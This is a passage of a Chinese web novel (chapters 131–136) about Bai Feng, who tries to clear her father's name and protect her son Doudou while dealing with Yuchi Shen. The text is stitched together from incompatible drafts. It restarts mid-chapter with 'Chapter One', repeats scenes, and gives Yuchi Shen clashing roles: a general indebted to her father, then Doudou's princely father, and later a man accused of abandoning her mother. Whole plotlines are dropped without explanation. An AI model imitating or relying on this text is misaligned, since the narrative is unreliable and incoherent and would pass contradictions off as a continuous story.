为了豆豆,为了爹娘,她一定要查清楚真相。 第二天,白凤又出门了。 这次她去了茶楼。茶楼是打听消息的好地方,三教九流都有。 白凤点了壶茶,坐在角落里听人聊天。 “听说了吗?太子最近又纳了个妾。” “哪个太子?咱们这位太子妾室都快一打了吧?” “可不是。不过这次这个不一样,听说是官家的小姐。” 白凤耳朵一动。 官家小姐? “哪个官家?” “就是户部尚书家的那位啊。听说长得跟仙女似的,太子一见就看上了。” “户部尚书?那可是太子的人啊。这不是肥水不流外人田吗?” 几个人哈哈大笑。 白凤心里一动。 户部尚书是太子的人,那当年陷害爹爹的,会不会也是太子一派? 她正想着,忽然听见有人说:“对了,你们知道吗?当年白家的案子,就是户部尚书经手的。” 白凤猛地抬起头。 “白家?哪个白家?” “就是那个贪官白景行啊。当年闹得沸沸扬扬的,你们不记得了?” “哦,想起来了。那个白景行贪了多少来着?” “听说有几十万两呢。” “这么多?难怪被抄家了。” 白凤握紧了拳头。 几十万两? 爹爹一辈子清廉,哪来的几十万两? 这分明就是栽赃! 而且经手的还是户部尚书。 白凤心里已经有了猜测。 当年陷害爹爹的,很可能就是太子一派。 但她没有证据。 白凤喝完茶,离开了茶楼。 走在街上,她脑子里不停地转着。 要怎么才能拿到证据? 正想着,忽然听见前面传来一阵喧哗。 白凤抬头一看,只见一群人围在一起,不知道在看什么。 她走过去,挤进人群。 只见地上躺着一个年轻女子,脸色苍白,嘴唇发紫,看起来像是中毒了。 旁边站着几个丫鬟,正在哭:“小姐,小姐你醒醒啊!” 围观的人议论纷纷。 “这是谁家的小姐?” “看衣着,应该是大户人家的。” “怎么会中毒的?” 白凤看了看那女子,心里一动。 她蹲下来,伸手探了探女子的鼻息。 还有气,但很微弱。 “让开让开!”一个丫鬟推开白凤,“你是什么人?别碰我家小姐!” “我会医术。”白凤说,“你家小姐中毒了,再不救就来不及了。” 丫鬟犹豫了一下,看了看小姐的脸色,咬牙说:“那你快救!” 白凤从怀里掏出银针,在女子几个穴位上扎了几针。 第131章 路人 过了一会儿,女子吐出一口黑血,脸色好了些。 丫鬟们松了口气:“小姐醒了!” 女子睁开眼,虚弱地看着白凤:“你是谁?” “路人。”白凤收起银针,“你中的是砒霜,虽然暂时压住了,但还得回去好好调理。” 女子点点头,让丫鬟扶她起来。 “多谢姑娘救命之恩。”女子说,“不知姑娘芳名?” “白凤。” 女子一愣:“白凤?你是白家的人?” 白凤心里一跳:“你认识我?” “我听说过白家。”女子说,“我叫柳如烟,是柳尚书的女儿。” 柳尚书? 白凤想起来了,柳尚书当年跟爹爹关系不错。 “柳小姐,我能跟你单独谈谈吗?”白凤说。 柳如烟看了她一眼,点点头:“好。” 两人去了附近的茶楼。 坐下后,柳如烟说:“你想问什么?” “我想知道,当年我爹的案子,到底是怎么回事。”白凤直接问。 柳如烟沉默了一会儿,说:“你爹是被冤枉的。” 白凤心里一震:“你知道?” “我爹跟你爹是好友,当年案子出来后,我爹就觉得不对劲。”柳如烟说,“但他查不出什么,反而差点被牵连。” “那你知道是谁陷害我爹的吗?” 柳如烟摇头:“不知道。但我爹说过,这事跟太子脱不了干系。” 白凤握紧了拳头。 果然是太子! “柳小姐,你能帮我吗?”白凤说,“我想查清楚真相,为我爹翻案。” 柳如烟看着她,犹豫了一下,说:“我可以帮你,但你得答应我一件事。” “什么事?” “帮我查清楚,今天是谁想毒死我。” 白凤一愣。 柳如烟苦笑:“我今天中毒,不是意外。有人想杀我。” “你有怀疑的人吗?” “有。”柳如烟眼里闪过一丝冷意,“户部尚书的女儿,林婉儿。” 白凤心里一动。 林婉儿,就是刚才茶楼里那些人说的,太子新纳的妾? “为什么是她?” “因为她嫉妒我。”柳如烟说,“太子本来想娶我,但我拒绝了。后来太子娶了她,但她一直记恨我。” 白凤明白了。 “好,我帮你。”白凤说,“但你也得帮我查我爹的案子。” “一言为定。” 两人击掌为誓。 白凤回到客栈,脑子里还在想着柳如烟的话。 林婉儿,户部尚书的女儿,太子的妾。 这个女人不简单。 而且她爹就是当年经手白家案子的人。 白凤越想越觉得,这里面肯定有联系。 第二天,柳如烟派人来接白凤,说是要带她去见个人。 白凤跟着去了,到了一处宅子。 宅子不大,但很精致。 柳如烟在里面等着她。 “来了?”柳如烟说,“我给你介绍个人。” 话音刚落,从里面走出一个男人。 男人三十来岁,穿着一身黑色长袍,气质冷峻。 白凤看见他,愣住了。 这个人,她见过。 就是那天在镇上,救她和豆豆的那个黑衣人。 “你是……”白凤说。 男人看了她一眼,淡淡地说:“尉迟深。” 尉迟深? 白凤心里一震。 这个名字她听说过。 尉迟深,当朝大将军,手握重兵,是皇上最信任的人。 但他为什么会出现在这里? “尉迟将军是我表哥。”柳如烟说,“我把你的事跟他说了,他愿意帮你。” 白凤看着尉迟深,心里有些复杂。 这个人救过她,但她对他一无所知。 “为什么要帮我?”白凤问。 尉迟深没说话,只是看着她。 那眼神很复杂,像是在看一个熟悉的人,又像是在看一个陌生人。 白凤被他看得有些不自在。 “因为他欠你爹一条命。”柳如烟说。 白凤一愣:“什么?” “当年尉迟将军在战场上受了重伤,是你爹救了他。”柳如烟说,“所以他一直想报恩,但你家出事后,他找不到你。” 白凤看着尉迟深,心里五味杂陈。 原来是这样。 “白姑娘,我会帮你查清楚真相。”尉迟深开口了,声音低沉,“但你得答应我一件事。” “什么事?” “嫁给我。” 白凤以为自己听错了:“你说什么?” “嫁给我。”尉迟深重复了一遍,“只有这样,我才能名正言顺地保护你。” 白凤脑子里嗡嗡作响。 嫁给他? 这算什么? “我不需要你保护。”白凤说,“我只需要你帮我查清楚真相。” “查清楚真相之后呢?”尉迟深说,“太子不会放过你的。” 白凤沉默了。 她知道尉迟深说得对。 一旦查出真相,太子肯定会对她下手。 但嫁给尉迟深,她又不甘心。 她不想为了保护自己,就随便嫁给一个人。 “我考虑考虑。”白凤说。 “好。”尉迟深没有勉强她,“但你得小心,太子的人已经盯上你了。” 白凤心里一紧:“什么意思?” “你来京城的事,太子已经知道了。”尉迟深说,“他派人在查你。” 白凤握紧了拳头。 太子动作这么快? “那我该怎么办?” “暂时住在这里。”尉迟深说,“这里是我的宅子,太子的人进不来。” 白凤犹豫了一下,点了点头。 她现在确实需要一个安全的地方。 接下来几天,白凤住在尉迟深的宅子里。 尉迟深很少回来,大部分时间都在外面。 白凤也没闲着,她让柳如烟帮忙打听消息。 很快,柳如烟就带回来一个消息。 “我查到了,当年陷害你爹的,确实是太子。”柳如烟说,“而且林婉儿的爹,户部尚书林大人,就是帮凶。” 白凤心里一沉。 果然是他们。 “有证据吗?” “有。”柳如烟拿出一封信,“这是当年林大人写给太子的信,里面提到了陷害你爹的计划。” 白凤接过信,手都在抖。 信上写得很清楚,林大人建议太子除掉白景行,因为白景行太正直,会妨碍太子的计划。 太子同意了,于是林大人伪造了证据,说白景行贪污受贿。 白凤看完信,眼泪掉了下来。 爹爹真的是被冤枉的。 “这封信你是怎么拿到的?”白凤问。 “我爹当年留下的。”柳如烟说,“他一直想为你爹翻案,但没有机会。现在你来了,我把信给你,希望你能为你爹讨回公道。” 白凤握紧了信:“谢谢你。” “不用谢。”柳如烟说,“对了,还有一件事。” “什么事?” “林婉儿最近在筹备一场宴会,邀请了京城所有的贵女。”柳如烟说,“我也收到了请帖。” 白凤心里一动:“她想干什么?” “不知道。”柳如烟说,“但我觉得,这是个机会。” “什么机会?” 第132章 我跟你一起去 “揭穿她的机会。”柳如烟眼里闪过一丝冷意,“她想毒死我,我不会就这么算了。” 白凤想了想,说:“我跟你一起去。” “你?”柳如烟有些担心,“你现在的身份,去了会很危险。” “我知道。”白凤说,“但我不能一直躲着。而且,我想见见林婉儿,看看她到底是个什么样的人。” 柳如烟点点头:“好,那我们一起去。” 宴会那天,白凤换上了柳如烟给她准备的衣服。 衣服很华丽,是京城贵女常穿的款式。 白凤照了照镜子,几乎认不出自己。 “很漂亮。”柳如烟说,“走吧,别迟到了。” 两人坐上马车,去了林府。 林府很大,装饰得富丽堂皇。 宴会设在花园里,已经来了不少人。 白凤跟着柳如烟走进去,立刻感觉到无数道目光落在她身上。 “那是谁?” “不认识啊,新来的?” “长得倒是不错。” 白凤没理会那些议论,跟着柳如烟找了个位置坐下。 没过多久,林婉儿出现了。 林婉儿确实长得很美,一身粉色长裙,像朵娇艳的花。 但白凤看着她,只觉得这个女人笑得很假。 “各位姐妹,今天能来参加我的宴会,真是太荣幸了。”林婉儿笑着说,“我准备了一些小节目,希望大家喜欢。” 话音刚落,就有丫鬟端上来各种点心和茶水。 白凤没动,只是看着。 柳如烟也没动。 林婉儿注意到了,走过来:“柳姐姐,怎么不吃啊?是不是不合胃口?” “不是。”柳如烟淡淡地说,“只是不饿。” 林婉儿笑了笑,目光落在白凤身上:“这位姑娘是?” “我表妹。”柳如烟说。 “表妹?”林婉儿打量着白凤,“怎么从来没见过?” “她刚从外地来。”柳如烟说。 林婉儿点点头,没再多问。 但白凤能感觉到,林婉儿在怀疑她。 宴会进行到一半,忽然有个贵女尖叫起来。 “我的镯子不见了!” 众人都看了过去。 那贵女脸色发白:“我的镯子明明放在桌上的,怎么不见了?” 林婉儿走过去,皱着眉说:“别急,我让人找找。” 很快,丫鬟们就开始搜查。 白凤心里一沉。 她闻到了阴谋的味道。 果然,没过多久,一个丫鬟就从白凤的座位下找出了那只镯子。 “在这里!”丫鬟举着镯子说。 所有人都看向白凤。 白凤脸色一变。 林婉儿走过来,脸上带着惊讶:“这位姑娘,你怎么能偷东西呢?” “我没有。”白凤冷静地说,“这镯子不是我拿的。” “不是你拿的,怎么会在你座位下?”林婉儿说,“你是柳姐姐的表妹,我本来不想为难你,但偷东西可是大罪。” 柳如烟站起来:“林婉儿,你少血口喷人。我表妹不是那种人。” “那你说,这镯子怎么会在她座位下?”林婉儿反问。 柳如烟语塞。 白凤看着林婉儿,忽然笑了:“林小姐,你这么着急给我定罪,是不是心虚了?” 林婉儿脸色一变:“你什么意思?” “我的意思是,这镯子是你让人放在我座位下的。”白凤说,“你想栽赃我,对吧?” “胡说!”林婉儿怒道,“我为什么要栽赃你?我都不认识你!” “不认识我?”白凤冷笑,“那你为什么一直盯着我看?” 林婉儿愣住了。 白凤继续说:“从我进来开始,你就一直在观察我。你在怀疑我的身份,对吧?” 林婉儿脸色越来越难看。 白凤走到她面前,压低声音说:“林小姐,你是不是很想知道,我到底是谁?” 林婉儿咬着牙,没说话。 白凤笑了:“那我告诉你,我叫白凤,是白景行的女儿。” 林婉儿脸色瞬间变得煞白。第一章 白凤关上门后,靠在门板上,脑子里乱得很。 豆豆从屋里跑出来,抱住她的腿:“娘,刚才那个黑叔叔又来了?” “嗯。”白凤蹲下来,摸摸儿子的头,“豆豆不怕,娘会保护你。” “我不怕!”豆豆挺起小胸脯,“我长大了,要保护娘!” 白凤笑了,这孩子倒是越来越有担当。 乐乐和来财围过来,福球从屋里飞出来,落在白凤肩上。 “你们说,我该怎么办?”白凤问。 乐乐蹭蹭她的手,来财低吼一声,福球啄了啄她的耳朵。 白凤叹口气。这些小家伙虽然听得懂人话,但也说不出个所以然来。 她站起身,抱起豆豆回屋。 第二天一早,白凤照常去镇上卖菜。 镇上的人看她的眼神都变了,不再是之前那种鄙夷,反而多了几分敬佩。 “白姑娘,你可真厉害,把童氏治得服服帖帖!” “就是就是,早该这样了!” 白凤笑着应付,心里却想着别的事。 徽臻王那边不会善罢甘休,她得想个办法。 正想着,突然听到镇口传来一阵骚动。 “快看!好多官兵!” “这是怎么了?” 白凤心里一紧,该不会是徽臻王真的来了? 她赶紧收拾东西,准备回家。 可还没走出几步,就看到一队人马进了镇子。 为首的不是别人,正是徽臻王尉迟深。 他骑在马上,一身黑色锦袍,面容冷峻。 白凤转身就想走,却被人拦住了。 “白姑娘,王爷有请。”黑甲将士说。 “我不去。”白凤冷着脸。 “白姑娘,王爷说了,若是您不去,他就在镇上住下,直到您答应为止。” 白凤气得牙痒痒。这人怎么这么不要脸! 她深吸一口气,走到尉迟深面前:“你到底想干什么?” 尉迟深下马,看着她:“我想让你回京。” “我说了,不去。” “为什么?” “因为我不想去!”白凤提高了声音,“你凭什么要我去?” 尉迟深沉默片刻:“因为豆豆是我儿子。” 周围的人都愣住了。 白凤脸色一变:“你胡说什么!” “我没有胡说。”尉迟深看着她,“五年前,你我……” “闭嘴!”白凤打断他,“那是意外!我不想提!” “可豆豆是事实。”尉迟深说,“他是我儿子,我有权利见他。” 白凤咬牙:“你见过了。” “我想让他回京,接受更好的教育。” “不可能!”白凤斩钉截铁,“豆豆跟着我好好的,不需要什么更好的教育!” 尉迟深皱眉:“你这是在耽误他。” “我耽误他?”白凤冷笑,“你一个五年都不知道儿子存在的人,有什么资格说我耽误他?” 第133章 我知道你恨我 尉迟深被噎住了。 白凤转身就走,却被他拉住手腕。 “放开!” “白凤,我知道你恨我。”尉迟深说,“但豆豆是无辜的,他应该有更好的生活。” “他现在的生活就很好!”白凤甩开他的手,“你走吧,别再来烦我们!” 说完,她头也不回地走了。 尉迟深站在原地,看着她的背影,眉头紧锁。 黑甲将士走过来:“王爷,现在怎么办?” “在镇上住下。”尉迟深说,“我不会放弃的。” 白凤回到家,气得直跺脚。 豆豆看她脸色不好,小心翼翼地问:“娘,你怎么了?” “没事。”白凤勉强笑了笑,“豆豆,你想不想去京城?” 豆豆摇头:“不想,我想跟娘在一起。” 白凤心里一暖,抱住儿子:“好,我们不去。” 可她心里清楚,尉迟深不会这么轻易放弃。 果然,接下来几天,尉迟深天天来。 有时候带着礼物,有时候带着玩具,都是给豆豆的。 豆豆一开始还挺高兴,但看到白凤脸色不好,就不敢要了。 “娘,那个叔叔为什么老来?”豆豆问。 白凤不知道该怎么解释,只能说:“他……他是个讨厌的人。” “那我也不喜欢他!”豆豆说。 白凤摸摸他的头,心里五味杂陈。 这天晚上,白凤正准备睡觉,突然听到院子里有动静。 她警惕地走出去,看到尉迟深站在院子里。 “你怎么进来的?”白凤问。 “翻墙。”尉迟深说得理所当然。 白凤气笑了:“堂堂徽臻王,居然翻墙?” “为了见你,翻墙算什么。”尉迟深说。 白凤冷着脸:“你到底想干什么?” “我想跟你好好谈谈。”尉迟深说,“关于豆豆。” “没什么好谈的。”白凤转身要走。 “白凤,你听我说。”尉迟深拉住她,“我知道我对不起你,但豆豆是我儿子,我有责任照顾他。” “你的责任?”白凤冷笑,“五年前你在哪里?豆豆生病的时候你在哪里?他饿肚子的时候你在哪里?” 尉迟深沉默了。 “你什么都不知道,现在跑来说什么责任?”白凤眼眶红了,“你以为你是谁?你以为你有钱有势,就能把豆豆带走?” “我不是这个意思。”尉迟深说,“我只是想……” “你想什么我不管!”白凤打断他,“总之,豆豆是我儿子,跟你没关系!” “可他身上流着我的血。”尉迟深说。 白凤愣住了。 是啊,豆豆身上流着尉迟深的血。 可那又怎么样? 这五年来,是她一个人把豆豆拉扯大的,尉迟深凭什么现在跑来认儿子? “你走吧。”白凤疲惫地说,“我不想再见到你。” 尉迟深看着她,眼里闪过一丝痛苦:“白凤,我……” “走!”白凤提高了声音。 尉迟深叹了口气,转身离开。 白凤看着他的背影,眼泪终于掉了下来。 她不是不想让豆豆过好日子,可她怕。 怕豆豆跟着尉迟深走了,就再也不回来了。 怕豆豆在京城受欺负,她却帮不了他。 怕豆豆忘了她这个娘。 白凤擦干眼泪,回屋睡觉。 可她翻来覆去睡不着,脑子里全是尉迟深的话。 第二天一早,白凤起床,发现院子里多了好多东西。 粮食,布匹,还有一些玩具。 豆豆高兴得不行:“娘,这些是哪来的?” 白凤皱眉,不用想也知道是尉迟深送来的。 她正想把东西扔出去,却听到豆豆说:“娘,这个小木马好漂亮!” 白凤看着儿子期待的眼神,到嘴边的话又咽了回去。 算了,东西留下吧,反正也是给豆豆的。 可她心里清楚,尉迟深这是在用糖衣炮弹攻击她。 接下来几天,尉迟深天天送东西来。 有时候是吃的,有时候是用的,都是最好的。 豆豆越来越喜欢这些东西,对尉迟深的态度也软化了。 白凤看在眼里,心里越来越不安。 这天,尉迟深又来了。 他带来一个消息:“皇上下旨,让我带你们进京。” 白凤脸色一变:“什么?” “皇上听说了豆豆的事,想见见他。”尉迟深说,“这是圣旨,你不能拒绝。” 白凤咬牙:“你去跟皇上说,我不去!” “白凤,这是圣旨。”尉迟深说,“你抗旨不遵,是要杀头的。” 白凤愣住了。 她没想到尉迟深会用这一招。 “你……你卑鄙!”白凤气得发抖。 “我只是想让你们过好日子。”尉迟深说,“白凤,跟我回京吧,我保证不会让你们受委屈。” 白凤看着他,眼里满是失望:“你以为用圣旨就能逼我就范?” “我没有别的办法。”尉迟深说。 白凤冷笑:“好,我跟你去。但我有条件。” “什么条件?” “到了京城,我和豆豆住在一起,你不能干涉我们的生活。”白凤说,“还有,我要带着乐乐、来财和福球。” 尉迟深点头:“可以。” 白凤深吸一口气:“那就这样吧。” 她转身回屋,开始收拾东西。 豆豆跑过来:“娘,我们要去京城了吗?” “嗯。”白凤说,“豆豆,到了京城,你要听娘的话,知道吗?” “知道!”豆豆用力点头。 白凤摸摸他的头,心里却满是不安。 京城那个地方,她一点都不想去。 可现在,她没有选择。 三天后,白凤带着豆豆和三只动物,坐上了去京城的马车。 马车很宽敞,里面铺着软垫,比白凤想象中舒服多了。 豆豆趴在窗边,好奇地看着外面:“娘,京城是什么样的?” “很大,很热闹。”白凤说,“但也很危险。” 豆豆不太懂,只是点点头。 乐乐和来财趴在车厢角落,福球站在白凤肩上,警惕地看着周围。 尉迟深骑马在外面,没有进车厢。 白凤松了口气,她现在不想见到他。 马车走了五天,终于到了京城。 白凤掀开帘子,看到城门高大雄伟,城墙上站着许多士兵。 “好大啊!”豆豆惊叹。 白凤抱紧儿子,心里却越来越紧张。 马车进了城,街道上人来人往,热闹非凡。 豆豆看得眼花缭乱,不停地问这问那。 白凤耐心地回答,心里却在想着接下来该怎么办。 马车停在一座府邸前,门口挂着“徽臻王府”的牌匾。 白凤下车,看着这座气派的府邸,心里五味杂陈。 “白姑娘,请。”黑甲将士说。 白凤抱着豆豆,带着三只动物走进府邸。 府里的下人看到她,都露出好奇的眼神。 第134章 有什么需要,尽管吩咐 白凤不理会这些,跟着黑甲将士走到一座院子前。 “这是您的住处。”黑甲将士说,“有什么需要,尽管吩咐。” 白凤点头,走进院子。 院子不大,但很精致,种着几棵树,还有一个小池塘。 豆豆高兴得不行:“娘,这里好漂亮!” 白凤笑了笑:“喜欢就好。” 她把东西放好,让豆豆在院子里玩,自己坐在廊下发呆。 乐乐和来财在院子里转悠,福球飞到树上,警惕地看着周围。 白凤知道,这三个小家伙跟她一样,对这个地方充满戒备。 傍晚时分,尉迟深来了。 他换了一身便服,看起来没那么冷峻了。 “还习惯吗?”尉迟深问。 “还行。”白凤淡淡地说。 尉迟深看了看豆豆,眼里闪过一丝温柔:“豆豆,喜欢这里吗?” 豆豆点头:“喜欢!” 尉迟深笑了,这是白凤第一次看到他笑。 “明天我带你去御花园玩,好不好?”尉迟深问。 豆豆看向白凤,白凤点头:“去吧。” 尉迟深又说了几句话,就离开了。 白凤看着他的背影,心里说不出是什么滋味。 晚上,白凤哄豆豆睡觉,自己却睡不着。 她走到院子里,看着天上的月亮。 福球飞过来,落在她肩上。 “福球,你说我们能在这里待多久?”白凤问。 福球啾啾叫了两声,好像在安慰她。 白凤叹口气,回屋睡觉。 第二天一早,尉迟深就来了。 他带着豆豆去御花园,白凤本来不想去,但豆豆拉着她,她只好跟着。 御花园很大,里面种着各种花草树木,还有假山池塘。 豆豆玩得很开心,跑来跑去。 白凤跟在后面,突然听到一个尖锐的声音:“哟,这不是徽臻王吗?” 白凤转头,看到一个穿着华丽的女子走过来。 女子大约二十来岁,长得很漂亮,但眼神高傲。 “太子妃。”尉迟深微微点头。 白凤心里一惊,这就是太子妃? 太子妃看了看白凤,眼里闪过一丝鄙夷:“这位是?” “她是……”尉迟深顿了顿,“豆豆的娘。” 太子妃挑眉:“哦?王爷什么时候有儿子了?我怎么不知道?” “这是私事。”尉迟深冷冷地说。 太子妃冷笑:“私事?王爷可真会藏。不过这位姑娘看起来……挺普通的。” 白凤听出她话里的讽刺,但没有接话。 太子妃又说:“听说王爷为了这位姑娘,连圣旨都用上了?真是用心良苦啊。” 尉迟深脸色一沉:“太子妃,请自重。” 太子妃笑了笑:“我只是随便说说,王爷别介意。” 说完,她转身离开。 白凤看着她的背影,心里不舒服。 “别理她。”尉迟深说,“太子妃就是这样,喜欢挑事。” 白凤没说话,只是叫豆豆回来。 回到王府,白凤心情很差。 她知道,在京城这个地方,像太子妃这样的人肯定不少。 她一个乡下女子,在这些人眼里,就是个笑话。 晚上,白凤坐在院子里,福球突然飞回来,落在她手上。 福球嘴里叼着一张纸条。 白凤打开一看,脸色大变。 纸条上写着:“小心太子。” 白凤心里一紧,这是谁写的? 她看向福球,福球啾啾叫了两声,好像在催她。 白凤把纸条收好,心里警惕起来。 看来京城的水,比她想象中还要深。 第二天,尉迟深又来了。 他说皇上要见豆豆,让白凤带着豆豆进宫。 白凤心里不安,但也没办法拒绝。 她给豆豆换上新衣服,带着他进宫。 皇宫比王府还要气派,到处都是金碧辉煌。 豆豆看得目瞪口呆,紧紧拉着白凤的手。 白凤也很紧张,她从来没见过皇帝。 他们被带到一座大殿前,尉迟深在门口等着。 “进去吧。”尉迟深说,“别紧张,皇上很和善。” 白凤点头,带着豆豆走进大殿。 大殿里坐着一个中年男人,穿着龙袍,面容威严。 白凤赶紧跪下:“民女白凤,见过皇上。” 豆豆也学着她跪下:“豆豆见过皇上爷爷。” 皇帝笑了:“起来吧,让朕看看。” 白凤站起来,抱着豆豆。 皇帝看着豆豆,眼里闪过一丝惊讶:“这孩子……长得真像尉迟深。” 白凤低着头,不敢说话。 皇帝又问:“你就是白凤?” “是。” “听说你很能干,一个人把孩子养大?” “是。” 皇帝点头:“不错,不错。尉迟深能有你这样的女子,是他的福气。” 白凤心里一跳,皇帝这话是什么意思? 皇帝又说:“豆豆是朕的孙子,以后就留在京城吧。朕会给他最好的教育。” 白凤心里一紧:“皇上,豆豆还小……” “正因为小,才要好好教育。”皇帝说,“你放心,朕不会亏待他的。” 白凤咬牙,不知道该说什么。 皇帝挥手:“好了,你们退下吧。” 白凤带着豆豆退出大殿,心里乱成一团。 尉迟深在外面等着,看到她脸色不好,问:“怎么了?” “皇上说要留豆豆在京城。”白凤说。 尉迟深点头:“这是好事。” “好事?”白凤冷笑,“你们都想把豆豆从我身边夺走,这是好事?” 尉迟深皱眉:“白凤,我没有这个意思。” “那你什么意思?”白凤问,“你把我们带到京城,就是为了这个?” 尉迟深沉默了。 白凤看着他,眼里满是失望:“尉迟深,我真是看错你了。” 说完,她抱着豆豆转身就走。 尉迟深想拉住她,却被她甩开。 白凤走出皇宫,心里又气又委屈。 她就知道,来京城不会有好事。 回到王府,白凤把自己关在房间里,谁也不见。 豆豆在外面敲门:“娘,你怎么了?” “娘没事,豆豆乖,去玩吧。”白凤说。 豆豆不放心,但也只能离开。 白凤坐在床上,眼泪掉了下来。 她不知道该怎么办,也不知道接下来会发生什么。 就在这时,福球又飞回来,嘴里叼着一张纸条。 白凤打开一看,上面写着:“三天后,太子会在围猎时对你不利,小心。” 白凤心里一惊,太子要对她不利? 为什么? 她跟太子无冤无仇,他为什么要害她? 白凤想不通,但她知道,这个消息不会是假的。 白凤关上门后,靠在门板上,手心全是汗。 豆豆从屋里跑出来,抱住她的腿:“娘,刚才是谁呀?” “没事,就是个讨债的。”白凤摸摸他的头,“豆豆乖,回屋睡觉去。” 把豆豆哄睡后,白凤坐在床边,脑子里乱糟糟的。徽臻王那边不会善罢甘休,她得想个法子应对。 第二天一早,徐禄生就来了。 第135章 豆豆怎么办? “白姑娘,我听说昨晚又有人来找你?”徐禄生压低声音,“是不是那个王爷的人?” 白凤点头:“他说王爷要亲自来接我。” “那可不行!”徐禄生急了,“你要是被带走了,豆豆怎么办?” “所以我得想办法。”白凤倒了杯茶给他,“徐大哥,你在镇上认识的人多,能不能帮我打听打听,最近有没有什么商队要出远门的?” 徐禄生愣了愣:“你想跑?” “不跑还能怎么办?”白凤苦笑,“总不能真让他把我抓回京城。” 徐禄生想了想:“倒是有个商队,过两天要去南边,不过路途遥远,你一个女人带着孩子…” “没事,我能应付。”白凤打断他,“只要能离开这里就行。” 徐禄生叹口气:“行,我去帮你问问。” 等徐禄生走后,白凤开始收拾东西。细软都打包好,粮食也准备了些,还有豆豆的衣裳。 乐乐和来财趴在院子里,福球蹲在墙头,三只猛兽都察觉到了主人的不安。 “别担心,咱们只是换个地方住。”白凤摸摸乐乐的脑袋。 乐乐呜咽一声,用大脑袋蹭她的手。 就在这时,院门又被敲响了。 白凤心里一紧,该不会又是那个黑甲将士吧? 她走过去开门,门外站着的却是个陌生男人。三十来岁,穿着青色长袍,看起来像个读书人。 “请问白姑娘在吗?”男人客气地问。 “我就是。”白凤警惕地看着他,“你是?” “在下姓方,方子墨。”男人拱手,“是徽臻王府的幕僚。” 白凤脸色一变,就要关门。 方子墨连忙伸手挡住:“白姑娘别误会,我不是来抓你的。” “那你来干什么?” “我是来劝你的。”方子墨说,“王爷对你一片真心,你何必拒人于千里之外?” 白凤冷笑:“真心?他要是真有心,当年就不会丢下我娘。” “这里面有误会。”方子墨说,“当年王爷并非有意抛弃令堂,而是被人陷害,身不由己。” “身不由己?”白凤讽刺道,“这话说得倒是轻巧。” 方子墨叹气:“白姑娘,我知道你心里有怨,但王爷这些年也不好过。他一直在查当年的事,想要还令堂一个公道。” 白凤动摇了一下,但很快又坚定下来:“那是他的事,跟我无关。” “可豆豆是王爷的儿子。”方子墨说,“你总不能让孩子一辈子不认父亲吧?” 这话戳中了白凤的软肋。 她沉默了片刻:“我需要时间考虑。” “好。”方子墨点头,“王爷说了,给你三天时间。三天后,他会亲自来见你。” 说完,方子墨转身离开。 白凤关上门,心里更乱了。 徽臻王要亲自来?那她还跑得掉吗? 晚上,白凤躺在床上翻来覆去睡不着。豆豆睡在她旁边,小脸蛋红扑扑的,睡得很香。 白凤看着他,心里五味杂陈。 豆豆确实是徽臻王的儿子,她不能自私地剥夺孩子认父亲的权利。可要是回京城,她又不甘心。 正想着,院子里突然传来动静。 白凤立刻坐起来,抓起床边的木棍,悄悄走到窗边往外看。 月光下,一个黑影翻墙进了院子。 乐乐和来财立刻警觉起来,低吼着冲过去。 “别咬,是我。”黑影低声说。 白凤听出了声音,是徐禄生。 她打开门:“徐大哥,你怎么这个时候来?” 徐禄生喘着气:“我打听到了,那个商队明天一早就走,你要是想跟着,得现在就去。” 白凤犹豫了:“这么急?” “对,他们原本打算后天走的,但临时改了主意。”徐禄生说,“我估计是有人给他们施压了。” 白凤明白了,肯定是徽臻王的人。 “行,我这就收拾。”白凤转身进屋。 她把豆豆叫醒,小家伙迷迷糊糊的:“娘,怎么了?” “咱们要出远门。”白凤给他穿衣服,“豆豆乖,别出声。” 豆豆虽然不明白,但还是乖乖听话。 白凤背上包袱,牵着豆豆,带着三只猛兽,跟着徐禄生往镇外走。 商队在镇外的驿站等着,领头的是个五十来岁的老商人,姓李。 “这位就是白姑娘?”李老板打量着白凤,“徐兄弟说你要跟我们去南边?” “是。”白凤点头,“不知道李老板方不方便?” 李老板看了看她身后的三只猛兽,犹豫了:“这三只…” “它们很乖,不会伤人。”白凤说,“而且路上有它们保护,也更安全。” 李老板想了想,点头:“行,那就一起走吧。不过丑话说在前头,路上要是出了什么事,可别怪我。” “不会。”白凤说。 商队出发了,白凤坐在马车里,抱着豆豆,心里总算松了口气。 只要离开这里,徽臻王就找不到她了。 可她不知道的是,就在商队离开镇子的时候,一个黑影站在镇口,看着他们远去的方向。 “王爷,白姑娘跟着商队走了。”黑甲将士单膝跪地。 尉迟深站在他身后,面无表情:“跟上去。” “是。” 商队走了三天,终于到了下一个镇子。 白凤带着豆豆下车,准备找个客栈休息。 “娘,我饿了。”豆豆拉着她的衣角。 “好,娘这就带你去吃饭。”白凤牵着他往街上走。 这个镇子比之前那个大多了,街上人来人往,很是热闹。 白凤找了家看起来干净的饭馆,点了几个菜。 豆豆吃得很香,白凤却没什么胃口。 “白姑娘,你怎么不吃?”李老板走过来,“是不是饭菜不合口味?” “没有,我就是不太饿。”白凤勉强笑笑。 李老板坐下来:“白姑娘,我看你这几天心事重重的,是不是遇到什么麻烦了?” 白凤摇头:“没有,就是有点想家。” “唉,出门在外,谁不想家呢。”李老板叹气,“不过你放心,跟着我们,保证把你安全送到南边。” “多谢李老板。”白凤说。 吃完饭,白凤带着豆豆回客栈。 刚走到门口,就看到一个熟悉的身影站在那里。 是方子墨。 白凤脸色一变,转身就要走。 “白姑娘,你跑不掉的。”方子墨拦住她,“王爷已经到了,就在客栈里等你。” 白凤咬牙:“我不见他。” “你不见,豆豆总要见吧?”方子墨说,“王爷说了,他只是想见见儿子,不会强迫你做任何事。” 第136章 他是你爹 白凤看了看豆豆,小家伙正好奇地看着方子墨。 “娘,这个叔叔是谁呀?”豆豆问。 白凤深吸一口气:“走吧。” 她跟着方子墨上楼,推开房门,看到尉迟深站在窗边。 男人背对着她,身姿挺拔,一身黑色长袍,看起来比上次见面时更憔悴了些。 “你来了。”尉迟深转过身,目光落在豆豆身上。 豆豆躲在白凤身后,小声问:“娘,这个叔叔是谁?” 白凤沉默了片刻:“他是你爹。” 豆豆瞪大眼睛:“爹?” 尉迟深走过来,蹲下身子,和豆豆平视:“豆豆,我是你爹。” 豆豆看看他,又看看白凤,不知道该说什么。 “你想见的人见到了,我们可以走了吧?”白凤冷冷地说。 “不行。”尉迟深站起来,“我有话要跟你说。” “我不想听。”白凤转身要走。 尉迟深一把抓住她的手腕:“当年的事,不是你想的那样。” “那是怎样?”白凤甩开他的手,“你抛弃了我娘,让她一个人受苦,这还不够吗?” 